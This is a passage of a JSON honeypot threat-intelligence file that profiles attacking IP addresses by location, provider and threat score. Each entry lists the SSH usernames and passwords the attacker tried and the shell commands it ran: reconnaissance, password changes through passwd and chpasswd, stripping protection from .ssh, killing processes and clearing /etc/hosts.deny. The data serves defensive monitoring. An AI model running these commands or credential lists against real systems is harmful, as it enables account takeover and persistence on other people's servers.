        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\nftQFMTqq4XuS\\nftQFMTqq4XuS\\n\"|passwd",
        "echo \"jon1234\\neh364jlyG5ec\\neh364jlyG5ec\\n\"|passwd",
        "echo \"password\\nSItJYvy85iz2\\nSItJYvy85iz2\\n\"|passwd",
        "echo -e \"1234\\nftQFMTqq4XuS\\nftQFMTqq4XuS\"|passwd|bash",
        "echo -e \"jon1234\\neh364jlyG5ec\\neh364jlyG5ec\"|passwd|bash",
        "echo -e \"password\\nSItJYvy85iz2\\nSItJYvy85iz2\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Pyeongtaek-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.8,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 382,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T00:17:02.610000+00:00",
        "last_seen_30d": "2026-03-12T18:58:42.523000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 317,
        "Suricata": 65
      }
    },
    "118.193.61.170": {
      "attack_count": 312,
      "first_seen": "2026-03-21T10:26:53.219Z",
      "last_seen": "2026-03-30T13:10:03.747Z",
      "sessions": 39,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ali",
        "consulta",
        "erica",
        "gmodserver",
        "kafka",
        "lfs",
        "liwei",
        "marcel",
        "myuser",
        "pedro",
        "root123",
        "seekcy",
        "uploader",
        "user03",
        "vbox"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "12345",
        "12345678",
        "1qaz!QAZ123",
        "951753",
        "ABC@123",
        "Ali123!",
        "Chang3M3!",
        "Hy123456@",
        "Kafka123!",
        "P@ssw0rd9",
        "Pedro123!",
        "Seekcy123",
        "Windows10",
        "Wo123456789",
        "abcsinc1",
        "adm1n"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Ali123!\\nHT7dc4LYwOXT\\nHT7dc4LYwOXT\\n\"|passwd",
        "echo \"root:QuTzvnICHxwZ\"|chpasswd|bash",
        "echo -e \"Ali123!\\nHT7dc4LYwOXT\\nHT7dc4LYwOXT\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 44.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.1,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 407,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T10:26:53.219000+00:00",
        "last_seen_30d": "2026-03-30T13:11:07.819000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 312,
        "Suricata": 95
      }
    },
    "200.91.236.125": {
      "attack_count": 307,
      "first_seen": "2026-03-08T10:43:04.595Z",
      "last_seen": "2026-03-08T14:03:44.557Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "mongod",
        "odoo",
        "webmin",
        "esuser",
        "family",
        "forge",
        "macha",
        "manel",
        "obc",
        "player",
        "purple",
        "roots",
        "rose",
        "saeed",
        "sd",
        "silvia",
        "vincent"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "12345",
        "1q2w3e4r",
        "P@ssw0rd!",
        "Rose123!",
        "Server12345!",
        "Silvia123",
        "macha123",
        "manel1234",
        "mongod123",
        "odoopass",
        "password",
        "roots123",
        "saeed1234",
        "sd123!",
        "vincentpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\nTMbnxjUx1Dfe\\nTMbnxjUx1Dfe\\n\"|passwd",
        "echo \"mongod123\\nCefea9nRwn9Z\\nCefea9nRwn9Z\\n\"|passwd",
        "echo \"odoopass\\nwDGMgSSFMI1W\\nwDGMgSSFMI1W\\n\"|passwd",
        "echo -e \"123\\nTMbnxjUx1Dfe\\nTMbnxjUx1Dfe\"|passwd|bash",
        "echo -e \"mongod123\\nCefea9nRwn9Z\\nCefea9nRwn9Z\"|passwd|bash",
        "echo -e \"odoopass\\nwDGMgSSFMI1W\\nwDGMgSSFMI1W\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Suba",
      "asn": 18747,
      "as_org": "IFX Corporation",
      "threat_score": 9.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 367,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T10:43:04.595000+00:00",
        "last_seen_30d": "2026-03-08T14:04:44.918000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 307,
        "Suricata": 60
      }
    },
    "81.23.173.32": {
      "attack_count": 301,
      "first_seen": "2026-03-08T13:41:14.117Z",
      "last_seen": "2026-03-23T15:29:10.809Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "escaner",
        "lg",
        "odoo",
        "admin",
        "admin1",
        "choi",
        "dev",
        "don",
        "f",
        "forge",
        "gianluca",
        "hadoop",
        "hh",
        "macha",
        "mosquitto",
        "obc",
        "real",
        "roots"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "1234",
        "123456",
        "123",
        "12345",
        "1q2w3e4r",
        "P@ssw0rd",
        "P@ssw0rd!",
        "Server12345!",
        "Silvia123",
        "Student10123",
        "Telegram123!",
        "a5201314",
        "donpass",
        "f",
        "gianlucapass",
        "lgpass",
        "macha123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"lgpass\\nTwFSFKlo536Y\\nTwFSFKlo536Y\\n\"|passwd",
        "echo \"odoopass\\nXx8bD4O3njqf\\nXx8bD4O3njqf\\n\"|passwd",
        "echo -e \"lgpass\\nTwFSFKlo536Y\\nTwFSFKlo536Y\"|passwd|bash",
        "echo -e \"odoopass\\nXx8bD4O3njqf\\nXx8bD4O3njqf\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 8359,
      "as_org": "MTS PJSC",
      "threat_score": 37.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.8,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 383,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T13:41:14.117000+00:00",
        "last_seen_30d": "2026-03-23T15:30:16.990000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 301,
        "Suricata": 82
      }
    },
    "173.212.238.152": {
      "attack_count": 280,
      "first_seen": "2026-03-02T02:50:25.300Z",
      "last_seen": "2026-03-26T00:32:09.142Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "cuda",
        "champion",
        "molly",
        "openvpn",
        "pearl"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "123",
        "1234567890qwerty",
        "123456aA@",
        "77889900",
        "Aa1qingsong.",
        "Cloud@2025",
        "Pass2024",
        "Passw0rd@",
        "alaska",
        "ll123456789",
        "molly",
        "openvpn1234",
        "q1w2e3r4t5"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nEDOUyH7ph4XP\\nEDOUyH7ph4XP\\n\"|passwd",
        "echo \"root:Y9GBJsIV8Bjk\"|chpasswd|bash",
        "echo \"root:mij5J2kaSxmk\"|chpasswd|bash",
        "echo -e \"12345678\\nEDOUyH7ph4XP\\nEDOUyH7ph4XP\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 48.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.2,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 328,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T02:50:25.300000+00:00",
        "last_seen_30d": "2026-03-26T00:33:10.666000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 280,
        "Suricata": 48
      }
    },
    "197.248.207.139": {
      "attack_count": 257,
      "first_seen": "2026-03-16T18:46:10.776Z",
      "last_seen": "2026-03-16T19:13:20.015Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "kusanagi",
        "ttt",
        "username",
        "dheeraj",
        "mc",
        "odoo12",
        "pyramid",
        "user123",
        "ys",
        "zhao"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "12345",
        "dheeraj123",
        "kusanagipass",
        "mc@123",
        "odoo121234",
        "password",
        "pyramid123",
        "ys1234",
        "zhao1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\nOJMsTkE4ukKx\\nOJMsTkE4ukKx\\n\"|passwd",
        "echo \"1\\n0qN8DdgsIRlt\\n0qN8DdgsIRlt\\n\"|passwd",
        "echo \"kusanagipass\\nJ22u1oTFPGf5\\nJ22u1oTFPGf5\\n\"|passwd",
        "echo -e \"12345\\nOJMsTkE4ukKx\\nOJMsTkE4ukKx\"|passwd|bash",
        "echo -e \"1\\n0qN8DdgsIRlt\\n0qN8DdgsIRlt\"|passwd|bash",
        "echo -e \"kusanagipass\\nJ22u1oTFPGf5\\nJ22u1oTFPGf5\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Nairobi",
      "asn": 37061,
      "as_org": "Safaricom",
      "threat_score": 18.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 294,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T18:46:10.776000+00:00",
        "last_seen_30d": "2026-03-16T19:14:30.119000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 257,
        "Suricata": 37
      }
    },
    "103.190.214.241": {
      "attack_count": 196,
      "first_seen": "2026-03-03T01:19:46.527Z",
      "last_seen": "2026-03-03T01:52:39.147Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1"
      ],
      "passwords_attempted": [
        "1233218613f",
        "3245gs5662d34",
        "345gs5662d34",
        "1234@Abcd",
        "Ea8ek&ahP4ke_",
        "Password.1",
        "Root@123",
        "a1s2d3f4g5h6j7k8l9",
        "aa159753",
        "aaa!!!",
        "admin@123",
        "adminroot",
        "david123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:FjLWUL4GZ8CH\"|chpasswd|bash",
        "echo \"root:qsVUEZYos8Ys\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 38513,
      "as_org": "PT Aplikanusa Lintasarta",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 235,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T01:19:46.527000+00:00",
        "last_seen_30d": "2026-03-03T01:53:47.567000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 196,
        "Suricata": 39
      }
    },
    "45.202.211.6": {
      "attack_count": 196,
      "first_seen": "2026-03-03T02:12:05.672Z",
      "last_seen": "2026-03-03T02:43:20.819Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1"
      ],
      "passwords_attempted": [
        "1233218613f",
        "3245gs5662d34",
        "345gs5662d34",
        "123456Qwe",
        "123456abc!",
        "Nadx@2024",
        "Password88**",
        "openmediavault",
        "passWORD123",
        "root.root",
        "test1234!",
        "tianyu@123",
        "zxcv1234."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:SXL8pDKxlLvR\"|chpasswd|bash",
        "echo \"root:fcd52IPYxOIm\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 152711,
      "as_org": "Suike Information Technology SiChuan Co., Ltd",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 234,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T02:12:05.672000+00:00",
        "last_seen_30d": "2026-03-03T02:44:29.316000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 196,
        "Suricata": 38
      }
    },
    "157.66.26.151": {
      "attack_count": 188,
      "first_seen": "2026-03-08T21:09:13.037Z",
      "last_seen": "2026-03-08T21:31:31.877Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "dolphinscheduler",
        "webapps",
        "andong",
        "bot",
        "cockpit",
        "mamad",
        "mobile",
        "root",
        "vas",
        "wei"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123",
        "1234",
        "Qq@123123",
        "dolphinscheduler123!",
        "mamad",
        "mobile123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"dolphinscheduler123!\\nw4F1jSOCNHaL\\nw4F1jSOCNHaL\\n\"|passwd",
        "echo \"password\\n3OSKHmsEKaGb\\n3OSKHmsEKaGb\\n\"|passwd",
        "echo -e \"dolphinscheduler123!\\nw4F1jSOCNHaL\\nw4F1jSOCNHaL\"|passwd|bash",
        "echo -e \"password\\n3OSKHmsEKaGb\\n3OSKHmsEKaGb\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 149107,
      "as_org": "TRUMVPS COMPANY LIMITED",
      "threat_score": 8.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T21:09:13.037000+00:00",
        "last_seen_30d": "2026-03-08T21:32:34.008000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 32
      }
    },
    "46.29.238.140": {
      "attack_count": 188,
      "first_seen": "2026-03-06T01:01:27.935Z",
      "last_seen": "2026-03-06T01:29:58.515Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "kube",
        "mikrotik",
        "abhishek",
        "claude",
        "dockeradmin",
        "jirka",
        "jun",
        "lq",
        "mm",
        "root"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "123456",
        "Aa321321",
        "Jirka123",
        "dockeradmin123!",
        "jun",
        "kube123!",
        "lq123!",
        "mikrotik1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"kube123!\\nV48Fp84PT5Dj\\nV48Fp84PT5Dj\\n\"|passwd",
        "echo \"mikrotik1234\\nuJyhoe9ybtjo\\nuJyhoe9ybtjo\\n\"|passwd",
        "echo -e \"kube123!\\nV48Fp84PT5Dj\\nV48Fp84PT5Dj\"|passwd|bash",
        "echo -e \"mikrotik1234\\nuJyhoe9ybtjo\\nuJyhoe9ybtjo\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Norway",
      "country_code": "NO",
      "city": "Nordland",
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp",
      "threat_score": 6.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 221,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T01:01:27.935000+00:00",
        "last_seen_30d": "2026-03-06T01:31:05.460000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 33
      }
    },
    "45.55.57.187": {
      "attack_count": 187,
      "first_seen": "2026-03-15T18:22:38.969Z",
      "last_seen": "2026-03-15T18:38:24.859Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "adi",
        "admin",
        "alexis",
        "live",
        "project",
        "smbuser",
        "webappuser"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "P@ssw0rd01!",
        "abc.12345",
        "live123!",
        "password",
        "ucloud.cn",
        "zaq1@WSX"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:FmTWujouVIs8\"|chpasswd|bash",
        "echo \"ucloud.cn\\nd9eFdqmY0Ppk\\nd9eFdqmY0Ppk\\n\"|passwd",
        "echo -e \"ucloud.cn\\nd9eFdqmY0Ppk\\nd9eFdqmY0Ppk\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 16.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T18:22:38.969000+00:00",
        "last_seen_30d": "2026-03-15T18:39:32.983000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 187,
        "Suricata": 33
      }
    },
    "181.174.231.144": {
      "attack_count": 183,
      "first_seen": "2026-03-22T00:48:24.260Z",
      "last_seen": "2026-03-22T01:06:22.649Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "manish",
        "robin",
        "root",
        "angga",
        "linuxbrew",
        "mohsen",
        "rms",
        "rramirez"
      ],
